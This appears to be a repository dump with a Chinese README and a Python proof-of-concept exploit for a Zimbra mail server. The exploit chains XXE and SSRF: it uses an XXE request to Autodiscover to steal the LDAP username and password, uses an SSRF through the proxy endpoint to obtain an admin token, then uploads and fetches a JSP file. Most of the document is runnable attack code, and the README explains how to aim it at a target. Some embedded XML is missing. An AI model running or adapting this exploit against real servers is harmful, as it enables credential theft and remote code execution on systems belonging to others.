├── README.md └── zimbra.py /README.md: -------------------------------------------------------------------------------- 1 | # Zimbra POC 2 | 3 | ## 用法 4 | 5 | 1. 需要自己在源代码中修改dtd_url为如下内容的dtd地址: 6 | 7 | ```xml 8 | 9 | 10 | "> 11 | "> 12 | ``` 13 | 14 | 2. 使用方法: 15 | 16 | ```bash 17 | python zimbra_poc.py https://target.com 18 | ``` 19 | 20 | 3. **POC仅供验证漏洞使用,请勿用于非法用途。** 21 | 22 | ## 参考资料 23 | 24 | 1. [《A Saga of Code Executions on Zimbra》](https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html) 25 | 26 | 2. [What Are XML External Entity (XXE) Attacks](https://www.acunetix.com/blog/articles/xml-external-entity-xxe-vulnerabilities/) 27 | 28 | 3. [漏洞预警 | Zimbra 远程代码执行漏洞](https://mp.weixin.qq.com/s?__biz=MzIwMDk1MjMyMg==&mid=2247484487&idx=1&sn=f2a8df3343cda9fb16f1dae0962e6dd4&chksm=96f41b2aa183923c08e3c4d1684baef02884d3097cdcd93dc0f656876bdfa7c6005b0c67db59) 29 | 30 | 4. [CVE-2013-7091 EXP](https://www.exploit-db.com/exploits/30472) 31 | 32 | 5. [Zimbra Soap API](https://files.zimbra.com/docs/soap_api/8.0.4/soap-docs-804/api-reference/index.html) 33 | 34 | 6. [《A Saga of Code Executions on Zimbra》RCE漏洞分析+复现过程](https://blog.csdn.net/fnmsd/article/details/88657083) 35 | 36 | -------------------------------------------------------------------------------- /zimbra.py: -------------------------------------------------------------------------------- 1 | #coding=utf8 2 | import requests 3 | import sys 4 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 5 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 6 | base_url=sys.argv[1] 7 | 8 | base_url=base_url.rstrip("/") 9 | 10 | #upload file name and content 11 | filename = "justatest.jsp" 12 | fileContent = r'<%out.println("justatest");%>' 13 | print(base_url) 14 | 15 | #dtd file url 16 | dtd_url="http://dtd.url/" 17 | """ 18 | 19 | 20 | "> 21 | "> 22 | """ 23 | 24 | 25 | xxe_data = r""" 27 | %dtd; 28 | %all; 29 | ]> 30 | 31 | 32 | aaaaa 33 | &fileContents; 34 | 35 | """.format(dtd=dtd_url) 36 | 37 | #XXE stage 38 | headers = { 39 | "Content-Type":"application/xml" 40 | } 41 | print("[*] Get User Name/Password By XXE ") 42 | r = requests.post(base_url+"/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=15) 43 | #print r.text 44 | if 'response schema not available' not in r.text: 45 | print("have no xxe") 46 | exit() 47 | 48 | 49 | #low_token Stage 50 | import re 51 | pattern_name = re.compile(r"<key name=(\"|")zimbra_user(\"|")>\n.*?<value>(.*?)<\/value>") 52 | pattern_password = re.compile(r"<key name=(\"|")zimbra_ldap_password(\"|")>\n.*?<value>(.*?)<\/value>") 53 | username = pattern_name.findall(r.text)[0][2] 54 | password = pattern_password.findall(r.text)[0][2] 55 | print(username) 56 | print(password) 57 | 58 | auth_body=""" 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | {username} 67 | {password} 68 | 69 | 70 | 71 | """ 72 | print("[*] Get Low Privilege Auth Token") 73 | r=requests.post(base_url+"/service/soap",data=auth_body.format(xmlns="urn:zimbraAccount",username=username,password=password),verify=False) 74 | 75 | pattern_auth_token=re.compile(r"(.*?)") 76 | 77 | low_priv_token = pattern_auth_token.findall(r.text)[0] 78 | 79 | #print(low_priv_token) 80 | 81 | 82 | # SSRF+Get Admin_Token Stage 83 | 84 | headers["Cookie"]="ZM_ADMIN_AUTH_TOKEN="+low_priv_token+";" 85 | headers["Host"]="foo:7071" 86 | print("[*] Get Admin Auth Token By SSRF") 87 | r = requests.post(base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password),headers=headers,verify=False) 88 | 89 | admin_token =pattern_auth_token.findall(r.text)[0] 90 | #print("ADMIN_TOKEN:"+admin_token) 91 | 92 | f = { 93 | 'filename1':(None,"whocare",None), 94 | 'clientFile':(filename,fileContent,"text/plain"), 95 | 'requestId':(None,"12",None), 96 | } 97 | 98 | headers ={ 99 | "Cookie":"ZM_ADMIN_AUTH_TOKEN="+admin_token+";" 100 | } 101 | print("[*] Uploading file") 102 | r = requests.post(base_url+"/service/extension/clientUploader/upload",files=f,headers=headers,verify=False) 103 | print(r.text) 104 | print("Please vist "+base_url+"/downloads/"+filename) 105 | print("[*] Request Result:") 106 | s = requests.session() 107 | r = s.get(base_url+"/downloads/"+filename,verify=False,headers=headers) 108 | print(r.text) 109 | print("May need cookie:") 110 | print(headers['Cookie']) 111 | --------------------------------------------------------------------------------